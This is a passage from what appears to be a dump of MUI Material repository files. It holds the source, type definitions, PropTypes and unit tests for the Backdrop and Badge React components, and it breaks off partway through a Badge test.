'MuiBackdrop' });\n  const {\n    children,\n    className,\n    component = 'div',\n    invisible = false,\n    open,\n    slotProps = {},\n    slots = {},\n    transitionDuration,\n    ...other\n  } = props;\n\n  const ownerState = {\n    ...props,\n    component,\n    invisible,\n  };\n\n  const classes = useUtilityClasses(ownerState);\n\n  const externalForwardedProps = {\n    component,\n    slots,\n    slotProps,\n  };\n\n  const [RootSlot, rootProps] = useSlot('root', {\n    elementType: BackdropRoot,\n    externalForwardedProps,\n    className: clsx(classes.root, className),\n    ownerState,\n  });\n\n  const [TransitionSlot, transitionProps] = useSlot('transition', {\n    elementType: Fade,\n    externalForwardedProps,\n    ownerState,\n  });\n\n  return (\n    <TransitionSlot in={open} timeout={transitionDuration} {...other} {...transitionProps}>\n      <RootSlot {...rootProps} ref={ref}>\n        {children}\n      </RootSlot>\n    </TransitionSlot>\n  );\n});\n\nBackdrop.propTypes /* remove-proptypes */ = {\n  // ┌────────────────────────────── Warning ──────────────────────────────┐\n  // │ These PropTypes are generated from the TypeScript type definitions. │\n  // │    To update them, edit the d.ts file and run `pnpm proptypes`.     │\n  // └─────────────────────────────────────────────────────────────────────┘\n  /**\n   * The content of the component.\n   */\n  children: PropTypes.node,\n  /**\n   * Override or extend the styles applied to the component.\n   */\n  classes: PropTypes.object,\n  /**\n   * @ignore\n   */\n  className: PropTypes.string,\n  /**\n   * The component used for the root node.\n   * Either a string to use a HTML element or a component.\n   */\n  component: PropTypes.elementType,\n  /**\n   * If `true`, the backdrop is invisible.\n   * It can be used when rendering a popover or a custom select component.\n   * @default false\n   */\n  invisible: PropTypes.bool,\n  /**\n   * If `true`, the component is shown.\n   */\n  open: PropTypes.bool.isRequired,\n  /**\n   * The props used for each slot inside.\n   * @default {}\n   */\n  slotProps: PropTypes.shape({\n    root: PropTypes.oneOfType([PropTypes.func, PropTypes.object]),\n    transition: PropTypes.oneOfType([PropTypes.func, PropTypes.object]),\n  }),\n  /**\n   * The components used for each slot inside.\n   * @default {}\n   */\n  slots: PropTypes.shape({\n    root: PropTypes.elementType,\n    transition: PropTypes.elementType,\n  }),\n  /**\n   * The system prop that allows defining system overrides as well as additional CSS styles.\n   */\n  sx: PropTypes.oneOfType([\n    PropTypes.arrayOf(PropTypes.oneOfType([PropTypes.func, PropTypes.object, PropTypes.bool])),\n    PropTypes.func,\n    PropTypes.object,\n  ]),\n  /**\n   * The duration for the transition, in milliseconds.\n   * You may specify a single timeout for all transitions, or individually with an object.\n   */\n  transitionDuration: PropTypes.oneOfType([\n    PropTypes.number,\n    PropTypes.shape({\n      appear: PropTypes.number,\n      enter: PropTypes.number,\n      exit: PropTypes.number,\n    }),\n  ]),\n};\n\nexport default Backdrop;\n"
  },
  {
    "path": "packages/mui-material/src/Backdrop/Backdrop.spec.tsx",
    "content": "import Backdrop from '@mui/material/Backdrop';\n\n// slotProps.transition should reject unknown props\n<Backdrop\n  open\n  slotProps={{\n    // @ts-expect-error — unknown props should be rejected\n    transition: { randomInvalidProp: 'test' },\n  }}\n/>;\n"
  },
  {
    "path": "packages/mui-material/src/Backdrop/Backdrop.test.js",
    "content": "import { expect } from 'chai';\nimport { spy } from 'sinon';\nimport { createRenderer } from '@mui/internal-test-utils';\nimport Backdrop, { backdropClasses as classes } from '@mui/material/Backdrop';\nimport Fade from '@mui/material/Fade';\nimport describeConformance from '../../test/describeConformance';\n\ndescribe('<Backdrop />', () => {\n  const { clock, render } = createRenderer();\n\n  describeConformance(<Backdrop open />, () => ({\n    classes,\n    inheritComponent: Fade,\n    render,\n    refInstanceof: window.HTMLDivElement,\n    muiName: 'MuiBackdrop',\n    testVariantProps: { invisible: true },\n    slots: {\n      root: {\n        expectedClassName: classes.root,\n      },\n      transition: {\n        testWithElement: null,\n      },\n    },\n  }));\n\n  it('should render a backdrop div with content of nested children', () => {\n    const { container } = render(\n      <Backdrop open>\n        <h1>Hello World</h1>\n      </Backdrop>,\n    );\n    expect(container.querySelector('h1')).to.have.text('Hello World');\n  });\n\n  describe('prop: transitionDuration', () => {\n    clock.withFakeTimers();\n\n    it('delays appearance of its children', () => {\n      const handleEntered = spy();\n      render(\n        <Backdrop open transitionDuration={1954} onEntered={handleEntered}>\n          <div />\n        </Backdrop>,\n      );\n\n      expect(handleEntered.callCount).to.equal(0);\n\n      clock.tick(1954);\n\n      expect(handleEntered.callCount).to.equal(1);\n    });\n  });\n});\n"
  },
  {
    "path": "packages/mui-material/src/Backdrop/backdropClasses.ts",
    "content": "import generateUtilityClasses from '@mui/utils/generateUtilityClasses';\nimport generateUtilityClass from '@mui/utils/generateUtilityClass';\n\nexport interface BackdropClasses {\n  /** Styles applied to the root element. */\n  root: string;\n  /** Styles applied to the root element if `invisible={true}`. */\n  invisible: string;\n}\n\nexport type BackdropClassKey = keyof BackdropClasses;\n\nexport function getBackdropUtilityClass(slot: string): string {\n  return generateUtilityClass('MuiBackdrop', slot);\n}\n\nconst backdropClasses: BackdropClasses = generateUtilityClasses('MuiBackdrop', [\n  'root',\n  'invisible',\n]);\n\nexport default backdropClasses;\n"
  },
  {
    "path": "packages/mui-material/src/Backdrop/index.d.ts",
    "content": "export { default } from './Backdrop';\nexport * from './Backdrop';\n\nexport { default as backdropClasses } from './backdropClasses';\nexport * from './backdropClasses';\n"
  },
  {
    "path": "packages/mui-material/src/Backdrop/index.js",
    "content": "export { default } from './Backdrop';\nexport { default as backdropClasses } from './backdropClasses';\nexport * from './backdropClasses';\n"
  },
  {
    "path": "packages/mui-material/src/Badge/Badge.d.ts",
    "content": "import * as React from 'react';\nimport { SxProps } from '@mui/system';\nimport { OverridableStringUnion, Simplify } from '@mui/types';\nimport { CreateSlotsAndSlotProps, SlotProps } from '../utils/types';\nimport { Theme } from '../styles';\nimport { OverridableComponent, OverrideProps } from '../OverridableComponent';\nimport { BadgeClasses } from './badgeClasses';\n\nexport interface BadgePropsVariantOverrides {}\nexport interface BadgePropsColorOverrides {}\nexport interface BadgeRootSlotPropsOverrides {}\nexport interface BadgeBadgeSlotPropsOverrides {}\n\nexport interface BadgeSlots {\n  /**\n   * The component that renders the root.\n   * @default span\n   */\n  root: React.ElementType;\n  /**\n   * The component that renders the badge.\n   * @default span\n   */\n  badge: React.ElementType;\n}\n\nexport type BadgeSlotsAndSlotProps = CreateSlotsAndSlotProps<\n  BadgeSlots,\n  {\n    /**\n     * Props forwarded to the root slot.\n     * By default, the available props are based on the span element.\n     */\n    root: SlotProps<'span', BadgeRootSlotPropsOverrides, BadgeOwnerState>;\n    /**\n     * Props forwarded to the label slot.\n     * By default, the available props are based on the span element.\n     */\n    badge: SlotProps<'span', BadgeBadgeSlotPropsOverrides, BadgeOwnerState>;\n  }\n>;\n\nexport type BadgeOwnerState = Simplify<\n  Omit<BadgeOwnProps, 'slotProps' | 'slots'> & {\n    badgeContent: React.ReactNode;\n    invisible: boolean;\n    max: number;\n    displayValue: React.ReactNode;\n    showZero: boolean;\n    anchorOrigin: BadgeOrigin;\n    color: OverridableStringUnion<\n      'primary' | 'secondary' | 'default' | 'error' | 'info' | 'success' | 'warning',\n      BadgePropsColorOverrides\n    >;\n    overlap: 'rectangular' | 'circular';\n    variant: OverridableStringUnion<'standard' | 'dot', BadgePropsVariantOverrides>;\n  }\n>;\n\nexport interface BadgeOrigin {\n  vertical?: 'top' | 'bottom' | undefined;\n  horizontal?: 'left' | 'right' | undefined;\n}\n\nexport interface BadgeOwnProps extends BadgeSlotsAndSlotProps {\n  /**\n   * The anchor of the badge.\n   * @default {\n   *   vertical: 'top',\n   *   horizontal: 'right',\n   * }\n   */\n  anchorOrigin?: BadgeOrigin | undefined;\n  /**\n   * The content rendered within the badge.\n   */\n  badgeContent?: React.ReactNode;\n  /**\n   * The badge will be added relative to this node.\n   */\n  children?: React.ReactNode;\n  /**\n   * Override or extend the styles applied to the component.\n   */\n  classes?: Partial<BadgeClasses> | undefined;\n  /**\n   * @ignore\n   */\n  className?: string | undefined;\n  /**\n   * The color of the component.\n   * It supports both default and custom theme colors, which can be added as shown in the\n   * [palette customization guide](https://mui.com/material-ui/customization/palette/#custom-colors).\n   * @default 'default'\n   */\n  color?:\n    | OverridableStringUnion<\n        'primary' | 'secondary' | 'default' | 'error' | 'info' | 'success' | 'warning',\n        BadgePropsColorOverrides\n      >\n    | undefined;\n  /**\n   * If `true`, the badge is invisible.\n   * @default false\n   */\n  invisible?: boolean | undefined;\n  /**\n   * Max count to show.\n   * @default 99\n   */\n  max?: number | undefined;\n  /**\n   * Wrapped shape the badge should overlap.\n   * @default 'rectangular'\n   */\n  overlap?: 'rectangular' | 'circular' | undefined;\n  /**\n   * Controls whether the badge is hidden when `badgeContent` is zero.\n   * @default false\n   */\n  showZero?: boolean | undefined;\n  /**\n   * The system prop that allows defining system overrides as well as additional CSS styles.\n   */\n  sx?: SxProps<Theme> | undefined;\n  /**\n   * The variant to use.\n   * @default 'standard'\n   */\n  variant?: OverridableStringUnion<'standard' | 'dot', BadgePropsVariantOverrides> | undefined;\n}\n\nexport interface BadgeTypeMap<\n  RootComponent extends React.ElementType = 'span',\n  AdditionalProps = {},\n> {\n  props: AdditionalProps & BadgeOwnProps;\n  defaultComponent: RootComponent;\n}\n\ntype BadgeRootProps = NonNullable<BadgeTypeMap['props']['slotProps']>['root'];\ntype BadgeBadgeProps = NonNullable<BadgeTypeMap['props']['slotProps']>['badge'];\n\nexport declare const BadgeRoot: React.FC<BadgeRootProps>;\nexport declare const BadgeMark: React.FC<BadgeBadgeProps>;\n\n/**\n *\n * Demos:\n *\n * - [Avatar](https://next.mui.com/material-ui/react-avatar/)\n * - [Badge](https://next.mui.com/material-ui/react-badge/)\n *\n * API:\n *\n * - [Badge API](https://next.mui.com/material-ui/api/badge/)\n */\ndeclare const Badge: OverridableComponent<BadgeTypeMap>;\n\nexport type BadgeProps<\n  RootComponent extends React.ElementType = BadgeTypeMap['defaultComponent'],\n  AdditionalProps = {},\n> = OverrideProps<BadgeTypeMap<RootComponent, AdditionalProps>, RootComponent> & {\n  component?: React.ElementType | undefined;\n};\n\nexport default Badge;\n"
  },
  {
    "path": "packages/mui-material/src/Badge/Badge.js",
    "content": "'use client';\nimport * as React from 'react';\nimport PropTypes from 'prop-types';\nimport clsx from 'clsx';\nimport usePreviousProps from '@mui/utils/usePreviousProps';\nimport composeClasses from '@mui/utils/composeClasses';\nimport useBadge from './useBadge';\nimport { styled } from '../zero-styled';\nimport memoTheme from '../utils/memoTheme';\nimport createSimplePaletteValueFilter from '../utils/createSimplePaletteValueFilter';\nimport { useDefaultProps } from '../DefaultPropsProvider';\nimport capitalize from '../utils/capitalize';\nimport badgeClasses, { getBadgeUtilityClass } from './badgeClasses';\nimport useSlot from '../utils/useSlot';\n\nconst RADIUS_STANDARD = 10;\nconst RADIUS_DOT = 4;\n\nconst useUtilityClasses = (ownerState) => {\n  const { color, anchorOrigin, invisible, overlap, variant, classes = {} } = ownerState;\n\n  const slots = {\n    root: ['root'],\n    badge: [\n      'badge',\n      variant,\n      invisible && 'invisible',\n      `anchorOrigin${capitalize(anchorOrigin.vertical)}${capitalize(anchorOrigin.horizontal)}`,\n      `anchorOrigin${capitalize(anchorOrigin.vertical)}${capitalize(\n        anchorOrigin.horizontal,\n      )}${capitalize(overlap)}`,\n      `overlap${capitalize(overlap)}`,\n      color !== 'default' && `color${capitalize(color)}`,\n    ],\n  };\n\n  return composeClasses(slots, getBadgeUtilityClass, classes);\n};\n\nconst BadgeRoot = styled('span', {\n  name: 'MuiBadge',\n  slot: 'Root',\n})({\n  position: 'relative',\n  display: 'inline-flex',\n  // For correct alignment with the text.\n  verticalAlign: 'middle',\n  flexShrink: 0,\n});\n\nconst BadgeBadge = styled('span', {\n  name: 'MuiBadge',\n  slot: 'Badge',\n  overridesResolver: (props, styles) => {\n    const { ownerState } = props;\n\n    return [\n      styles.badge,\n      styles[ownerState.variant],\n      styles[\n        `anchorOrigin${capitalize(ownerState.anchorOrigin.vertical)}${capitalize(\n          ownerState.anchorOrigin.horizontal,\n        )}${capitalize(ownerState.overlap)}`\n      ],\n      ownerState.color !== 'default' && styles[`color${capitalize(ownerState.color)}`],\n      ownerState.invisible && styles.invisible,\n    ];\n  },\n})(\n  memoTheme(({ theme }) => ({\n    display: 'flex',\n    flexDirection: 'row',\n    flexWrap: 'wrap',\n    justifyContent: 'center',\n    alignContent: 'center',\n    alignItems: 'center',\n    position: 'absolute',\n    boxSizing: 'border-box',\n    fontFamily: theme.typography.fontFamily,\n    fontWeight: theme.typography.fontWeightMedium,\n    fontSize: theme.typography.pxToRem(12),\n    minWidth: RADIUS_STANDARD * 2,\n    lineHeight: 1,\n    padding: '0 6px',\n    height: RADIUS_STANDARD * 2,\n    borderRadius: RADIUS_STANDARD,\n    zIndex: 1, // Render the badge on top of potential ripples.\n    transition: theme.transitions.create('transform', {\n      easing: theme.transitions.easing.easeInOut,\n      duration: theme.transitions.duration.enteringScreen,\n    }),\n    variants: [\n      ...Object.entries(theme.palette)\n        .filter(createSimplePaletteValueFilter(['contrastText']))\n        .map(([color]) => ({\n          props: { color },\n          style: {\n            backgroundColor: (theme.vars || theme).palette[color].main,\n            color: (theme.vars || theme).palette[color].contrastText,\n          },\n        })),\n      {\n        props: { variant: 'dot' },\n        style: {\n          borderRadius: RADIUS_DOT,\n          height: RADIUS_DOT * 2,\n          minWidth: RADIUS_DOT * 2,\n          padding: 0,\n        },\n      },\n      {\n        props: { invisible: true },\n        style: {\n          transition: theme.transitions.create('transform', {\n            easing: theme.transitions.easing.easeInOut,\n            duration: theme.transitions.duration.leavingScreen,\n          }),\n        },\n      },\n      {\n        style: ({ ownerState }) => {\n          const { vertical, horizontal } = ownerState.anchorOrigin;\n          const offset = ownerState.overlap === 'circular' ? '14%' : 0;\n          return {\n            '--Badge-translateX': horizontal === 'right' ? '50%' : '-50%',\n            '--Badge-translateY': vertical === 'top' ? '-50%' : '50%',\n            top: vertical === 'top' ? offset : 'initial',\n            bottom: vertical === 'bottom' ? offset : 'initial',\n            right: horizontal === 'right' ? offset : 'initial',\n            left: horizontal === 'left' ? offset : 'initial',\n            transform: 'scale(1) translate(var(--Badge-translateX), var(--Badge-translateY))',\n            transformOrigin: `${horizontal === 'right' ? '100%' : '0%'} ${vertical === 'top' ? '0%' : '100%'}`,\n            [`&.${badgeClasses.invisible}`]: {\n              transform: 'scale(0) translate(var(--Badge-translateX), var(--Badge-translateY))',\n            },\n          };\n        },\n      },\n    ],\n  })),\n);\n\nfunction getAnchorOrigin(anchorOrigin) {\n  return {\n    vertical: anchorOrigin?.vertical ?? 'top',\n    horizontal: anchorOrigin?.horizontal ?? 'right',\n  };\n}\n\nconst Badge = React.forwardRef(function Badge(inProps, ref) {\n  const props = useDefaultProps({ props: inProps, name: 'MuiBadge' });\n  const {\n    anchorOrigin: anchorOriginProp,\n    className,\n    classes: classesProp,\n    component,\n    children,\n    overlap: overlapProp = 'rectangular',\n    color: colorProp = 'default',\n    invisible: invisibleProp = false,\n    max: maxProp = 99,\n    badgeContent: badgeContentProp,\n    slots,\n    slotProps,\n    showZero = false,\n    variant: variantProp = 'standard',\n    ...other\n  } = props;\n\n  const {\n    badgeContent,\n    invisible: invisibleFromHook,\n    max,\n    displayValue: displayValueFromHook,\n  } = useBadge({\n    max: maxProp,\n    invisible: invisibleProp,\n    badgeContent: badgeContentProp,\n    showZero,\n  });\n\n  const prevProps = usePreviousProps({\n    anchorOrigin: getAnchorOrigin(anchorOriginProp),\n    color: colorProp,\n    overlap: overlapProp,\n    variant: variantProp,\n    badgeContent: badgeContentProp,\n  });\n\n  const invisible = invisibleFromHook || (badgeContent == null && variantProp !== 'dot');\n\n  const {\n    color = colorProp,\n    overlap = overlapProp,\n    anchorOrigin: anchorOriginPropProp,\n    variant = variantProp,\n  } = invisible ? prevProps : props;\n\n  const anchorOrigin = getAnchorOrigin(anchorOriginPropProp);\n  const displayValue = variant !== 'dot' ? displayValueFromHook : undefined;\n\n  const ownerState = {\n    ...props,\n    badgeContent,\n    invisible,\n    max,\n    displayValue,\n    showZero,\n    anchorOrigin,\n    color,\n    overlap,\n    variant,\n  };\n\n  const classes = useUtilityClasses(ownerState);\n\n  const externalForwardedProps = {\n    slots,\n    slotProps,\n  };\n\n  const [RootSlot, rootProps] = useSlot('root', {\n    elementType: BadgeRoot,\n    externalForwardedProps: {\n      ...externalForwardedProps,\n      ...other,\n    },\n    ownerState,\n    className: clsx(classes.root, className),\n    ref,\n    additionalProps: {\n      as: component,\n    },\n  });\n\n  const [BadgeSlot, badgeProps] = useSlot('badge', {\n    elementType: BadgeBadge,\n    externalForwardedProps,\n    ownerState,\n    className: classes.badge,\n  });\n\n  return (\n    <RootSlot {...rootProps}>\n      {children}\n      <BadgeSlot {...badgeProps}>{displayValue}</BadgeSlot>\n    </RootSlot>\n  );\n});\n\nBadge.propTypes /* remove-proptypes */ = {\n  // ┌────────────────────────────── Warning ──────────────────────────────┐\n  // │ These PropTypes are generated from the TypeScript type definitions. │\n  // │    To update them, edit the d.ts file and run `pnpm proptypes`.     │\n  // └─────────────────────────────────────────────────────────────────────┘\n  /**\n   * The anchor of the badge.\n   * @default {\n   *   vertical: 'top',\n   *   horizontal: 'right',\n   * }\n   */\n  anchorOrigin: PropTypes.shape({\n    horizontal: PropTypes.oneOf(['left', 'right']),\n    vertical: PropTypes.oneOf(['bottom', 'top']),\n  }),\n  /**\n   * The content rendered within the badge.\n   */\n  badgeContent: PropTypes.node,\n  /**\n   * The badge will be added relative to this node.\n   */\n  children: PropTypes.node,\n  /**\n   * Override or extend the styles applied to the component.\n   */\n  classes: PropTypes.object,\n  /**\n   * @ignore\n   */\n  className: PropTypes.string,\n  /**\n   * The color of the component.\n   * It supports both default and custom theme colors, which can be added as shown in the\n   * [palette customization guide](https://mui.com/material-ui/customization/palette/#custom-colors).\n   * @default 'default'\n   */\n  color: PropTypes /* @typescript-to-proptypes-ignore */.oneOfType([\n    PropTypes.oneOf(['default', 'primary', 'secondary', 'error', 'info', 'success', 'warning']),\n    PropTypes.string,\n  ]),\n  /**\n   * The component used for the root node.\n   * Either a string to use a HTML element or a component.\n   */\n  component: PropTypes.elementType,\n  /**\n   * If `true`, the badge is invisible.\n   * @default false\n   */\n  invisible: PropTypes.bool,\n  /**\n   * Max count to show.\n   * @default 99\n   */\n  max: PropTypes.number,\n  /**\n   * Wrapped shape the badge should overlap.\n   * @default 'rectangular'\n   */\n  overlap: PropTypes.oneOf(['circular', 'rectangular']),\n  /**\n   * Controls whether the badge is hidden when `badgeContent` is zero.\n   * @default false\n   */\n  showZero: PropTypes.bool,\n  /**\n   * The props used for each slot inside.\n   * @default {}\n   */\n  slotProps: PropTypes.shape({\n    badge: PropTypes.oneOfType([PropTypes.func, PropTypes.object]),\n    root: PropTypes.oneOfType([PropTypes.func, PropTypes.object]),\n  }),\n  /**\n   * The components used for each slot inside.\n   * @default {}\n   */\n  slots: PropTypes.shape({\n    badge: PropTypes.elementType,\n    root: PropTypes.elementType,\n  }),\n  /**\n   * The system prop that allows defining system overrides as well as additional CSS styles.\n   */\n  sx: PropTypes.oneOfType([\n    PropTypes.arrayOf(PropTypes.oneOfType([PropTypes.func, PropTypes.object, PropTypes.bool])),\n    PropTypes.func,\n    PropTypes.object,\n  ]),\n  /**\n   * The variant to use.\n   * @default 'standard'\n   */\n  variant: PropTypes /* @typescript-to-proptypes-ignore */.oneOfType([\n    PropTypes.oneOf(['dot', 'standard']),\n    PropTypes.string,\n  ]),\n};\n\nexport default Badge;\n"
  },
  {
    "path": "packages/mui-material/src/Badge/Badge.spec.tsx",
    "content": "import Badge from '@mui/material/Badge';\n\nfunction classesTest() {\n  return (\n    <Badge badgeContent={4} classes={{ badge: 'testBadgeClassName', colorInfo: 'colorInfoClass' }}>\n      <div>Hello World</div>\n    </Badge>\n  );\n}\n\n<Badge anchorOrigin={{ vertical: 'bottom' }} />;\n<Badge anchorOrigin={{ horizontal: 'left' }} />;\n<Badge\n  slotProps={{\n    badge: {\n      sx: {\n        color: 'red',\n      },\n    },\n  }}\n/>;\n"
  },
  {
    "path": "packages/mui-material/src/Badge/Badge.test.js",
    "content": "import * as React from 'react';\nimport { expect } from 'chai';\nimport { createRenderer, screen } from '@mui/internal-test-utils';\nimport Badge, { badgeClasses as classes } from '@mui/material/Badge';\nimport describeConformance from '../../test/describeConformance';\n\nfunction findBadgeRoot(container) {\n  return container.firstChild;\n}\n\nfunction findBadge(container) {\n  return findBadgeRoot(container).querySelector('span');\n}\n\ndescribe('<Badge />', () => {\n  const { render } = createRenderer();\n\n  const defaultProps = {\n    children: (\n      <div className=\"unique\" data-testid=\"children\">\n        Hello World\n      </div>\n    ),\n    badgeContent: 10,\n  };\n\n  describeConformance(\n    <Badge>\n      <div />\n    </Badge>,\n    () => ({\n      classes,\n      inheritComponent: 'span',\n      render,\n      refInstanceof: window.HTMLSpanElement,\n      muiName: 'MuiBadge',\n      testVariantProps: { color: 'secondary', variant: 'dot' },\n      slots: {\n        root: {\n          expectedClassName: classes.root,\n        },\n        badge: {\n          expectedClassName: classes.badge,\n        },\n      },\n    }),\n  );\n\n  it('renders children and badgeContent', () => {\n    const children = <div id=\"child\" data-testid=\"child\" />;\n    const badge = <div id=\"badge\" data-testid=\"badge\" />;\n    const { container } = render(<Badge badgeContent={badge}>{children}</Badge>);\n    expect(container.firstChild).to.contain(screen.getByTestId('child'));\n    expect(container.firstChild).to.contain(screen.getByTestId('badge'));\n  });\n\n  it('applies customized classes', () => {\n    const customClasses = {\n      root: 'test-root',\n      anchorOriginTopRight: 'test-anchorOriginTopRight',\n      anchorOriginTopRightCircular: 'test-anchorOriginTopRightCircular',\n      badge: 'test-badge',\n      colorSecondary: 'test-colorSecondary',\n      dot: 'test-dot',\n      invisible: 'test-invisible',\n      overlapCircular: 'test-overlapCircular',\n    };\n\n    const { container } = render(\n      <Badge\n        {...defaultProps}\n        variant=\"dot\"\n        overlap=\"circular\"\n        invisible\n        color=\"secondary\"\n        classes={customClasses}\n      />,\n    );\n\n    expect(findBadgeRoot(container)).to.have.class(customClasses.root);\n    expect(findBadge(container)).to.have.class(customClasses.anchorOriginTopRight);\n    expect(findBadge(container)).to.have.class(customClasses.anchorOriginTopRightCircular);\n    expect(findBadge(container)).to.have.class(customClasses.badge);\n    expect(findBadge(container)).to.have.class(customClasses.colorSecondary);\n    expect(findBadge(container)).to.have.class(customClasses.dot);\n    expect(findBadge(container)).to.have.class(customClasses.invisible);\n    expect(findBadge(container)).to.have.class(customClasses.overlapCircular);\n  });\n\n  it('renders children', () => {\n    const { container } = render(<Badge className=\"testClassName\" {...defaultProps} />);\n    expect(container.firstChild).to.contain(screen.getByTestId('children'));\n  });\n\n  describe('prop: color', () => {\n    it('should have the colorPrimary class when color=\"primary\"', () => {\n      const { container } = render(<Badge {...defaultProps} color=\"primary\" />);\n      expect(findBadge(container)).to.have.class(classes.colorPrimary);\n    });\n\n    it('should have the colorSecondary class when color=\"secondary\"', () => {\n      const { container } = render(<Badge {...defaultProps} color=\"secondary\" />);\n      expect(findBadge(container)).to.have.class(classes.colorSecondary);\n    });\n\n    it('should have the colorError class when color=\"error\"', () => {\n      const { container } = render(<Badge {...defaultProps} color=\"error\" />);\n      expect(findBadge(container)).to.have.class(classes.colorError);\n    });\n  });\n\n  describe('prop: invisible', () => {\n    it('should default to false', () => {\n      const { container } = render(<Badge {...defaultProps} />);\n      expect(findBadge(container)).not.to.have.class(classes.invisible);\n    });\n\n    it('should render without the invisible class when set to false', () => {\n      const { container } = render(<Badge {...defaultProps} invisible={false} />);\n      expect(findBadge(container)).not.to.have.class(classes.invisible);\n    });\n\n    it('should render with the invisible class when set to true', () => {\n      const { container } = render(<Badge {...defaultProps} invisible />);\n      expect(findBadge(container)).to.have.class(classes.invisible);\n    });\n\n    it('should render with the invisible class when empty and not dot', () => {\n      let container;\n      container = render(<Badge {...defaultProps} badgeContent={null} />).container;\n      expect(findBadge(container)).to.have.class(classes.invisible);\n      container = render(<Badge {...defaultProps} badgeContent={undefined} />).container;\n      expect(findBadge(container)).to.have.class(classes.invisible);\n      container = render(\n        <Badge {...defaultProps} badgeContent={undefined} variant=\"dot\" />,\n      ).container;\n      expect(findBadge(container)).not.to.have.class(classes.invisible);\n    });\n\n    it('should render with invisible class when invisible and showZero are set to false and content is 0', () => {\n      const { container } = render(<Badge badgeContent={0} showZero={false} invisible={false} />);\n      expect(findBadge(container)).to.have.class(classes.invisible);\n      expect(findBadge(container)).to.have.text('');\n    });\n\n    it('should not render with invisible class when invisible and showZero are set to false and content is not 0', () => {\n      const { container } = render(<Badge badgeContent={1} showZero={false} invisible={false} />);\n      expect(findBadge(container)).not.to.have.class(classes.invisible);\n      expect(findBadge(container)).to.have.text('1');\n    });\n  });\n\n  describe('prop: showZero', () => {\n    it('should default to false', () => {\n      const { container } = render(<Badge {...defaultProps} badgeContent={0} />);\n      expect(findBadge(container)).to.have.class(classes.invisible);\n    });\n\n    it('should render without the invisible class when false and badgeContent is not 0', () => {\n      const { container } = render(<Badge {...defaultProps} showZero />);\n      expect(findBadge(container)).not.to.have.class(classes.invisible);\n    });\n\n    it('should render without the invisible class when true and badgeContent is 0', () => {\n      const { container } = render(<Badge {...defaultProps} badgeContent={0} showZero />);\n      expect(findBadge(container)).not.to.have.class(classes.invisible);\n    });\n\n    it('should render with the invisible class when false and badgeContent is 0', () => {\n      const { container } = render(<Badge {...defaultProps} badgeContent={0} showZero={false} />);\n      expect(findBadge(container)).to.have.class(classes.invisible);\n    });\n  });\n\n  describe('prop: variant', () => {\n    it('should default to standard', () => {\n      const { container } = render(<Badge {...defaultProps} />);\n      expect(findBadge(container)).to.have.class(classes.badge);\n      expect(findBadge(container)).not.to.have.class(classes.dot);\n    });\n\n    it('should render with the standard class when variant=\"standard\"', () => {\n      const { container } = render(<Badge {...defaultProps} variant=\"standard\" />);\n      expect(findBadge(container)).to.have.class(classes.badge);\n      expect(findBadge(container)).not.to.have.class(classes.dot);\n    });\n\n    it('should not render badgeContent when variant=\"dot\"', () => {\n      const { container } = render(<Badge {...defaultProps} variant=\"dot\" />);\n      expect(findBadge(container)).to.have.class(classes.badge);\n      expect(findBadge(container)).to.have.class(classes.dot);\n      expect(findBadge(container)).to.have.text('');\n    });\n  });\n\n  describe('prop: max', () => {\n    it('should default to 99', () => {\n      const { container } = render(<Badge {...defaultProps} badgeContent={100} />);\n      expect(findBadge(container)).to.have.text('99+');\n    });\n\n    it('should cap badgeContent', () => {\n      const { container } = render(<Badge {...defaultProps} badgeContent={1000} max={999} />);\n      expect(findBadge(container)).to.have.text('999+');\n    });\n\n    it('should not cap if badgeContent and max are equal', () => {\n      const { container } = render(<Badge {...defaultProps} badgeContent={1000} max={1000} />);\n      expect(findBadge(container)).to.have.text('1000');\n    });\n\n    it('should not cap if badgeContent is lower than max', () => {\n      const { container } = render(<Badge {...defaultProps} badgeContent={50} max={1000} />);\n      expect(findBadge(container)).to.have.text('50');\n    });\n  });\n\n  describe('prop: anchorOrigin', () => {\n    it('should apply style for top left rectangular', () => {\n      const { container } = render(\n        <Badge {...defaultProps} anchorOrigin={{ horizontal: 'left', vertical: 'top' }} />,\n      );\n      expect(findBadge(container)).to.have.class(classes.anchorOriginTopLeftRectangular);\n    });\n\n    it('should apply style for top right rectangular', () => {\n      const { container } = render(\n        <Badge {...defaultProps} anchorOrigin={{ horizontal: 'right', vertical: 'top' }} />,\n      );\n      expect(findBadge(container)).to.have.class(classes.anchorOriginTopRightRectangular);\n    });\n\n    it('should apply style for bottom left rectangular', () => {\n      const { container } = render(\n        <Badge {...defaultProps} anchorOrigin={{ horizontal: 'left', vertical: 'bottom' }} />,\n      );\n      expect(findBadge(container)).to.have.class(classes.anchorOriginBottomLeftRectangular);\n    });\n\n    it('should apply style for bottom right rectangular', () => {\n      const { container } = render(\n        <Badge {...defaultProps} anchorOrigin={{ horizontal: 'right', vertical: 'bottom' }} />,\n      );\n      expect(findBadge(container)).to.have.class(classes.anchorOriginBottomRightRectangular);\n    });\n\n    it('should apply style for bottom right rectangular when only vertical is specified', () => {\n      const { container } = render(\n        <Badge {...defaultProps} anchorOrigin={{ vertical: 'bottom' }} />,\n      );\n      expect(findBadge(container)).to.have.class(classes.anchorOriginBottomRightRectangular);\n    });\n\n    it('should apply style for top left rectangular when only horizontal is specified', () => {\n      const { container } = render(\n        <Badge {...defaultProps} anchorOrigin={{ horizontal: 'left' }} />,\n      );\n      expect(findBadge(container)).to.have.class(classes.anchorOriginTopLeftRectangular);\n    });\n\n    it('should apply style for top left circular', () => {\n      const { container } = render(\n        <Badge\n          {...defaultProps}\n          anchorOrigin={{ horizontal: 'left', vertical: 'top' }}\n          overlap=\"circular\"\n        />,\n      );\n      expect(findBadge(container)).to.have.class(classes.anchorOriginTopLeftCircular);\n    });\n\n    it('should apply style for top right circular', () => {\n      const { container } = render(\n        <Badge\n          {...defaultProps}\n          anchorOrigin={{ horizontal: 'right', vertical: 'top' }}\n          overlap=\"circular\"\n        />,\n      );\n      expect(findBadge(container)).to.have.class(classes.anchorOriginTopRightCircular);\n    });\n\n    it('should apply style for bottom left circular', () => {\n      const { container } = render(\n        <Badge\n          {...defaultProps}\n          anchorOrigin={{ horizontal: 'left', vertical: 'bottom' }}\n          overlap=\"circular\"\n        />,\n      );\n      expect(findBadge(container)).to.have.class(classes.anchorOriginBottomLeftCircular);\n    });\n\n    it('should apply style for bottom right circular', () => {\n      const { container } = render(\n        <Badge\n          {...defaultProps}\n          anchorOrigin={{ horizontal: 'right', vertical: 'bottom' }}\n          overlap=\"circular\"\n        />,\n      );\n      expect(findBadge(container)).to.have.class(classes.anchorOriginBottomRightCircular);\n    });\n  });\n\n  describe('prop: slots', () => {\n    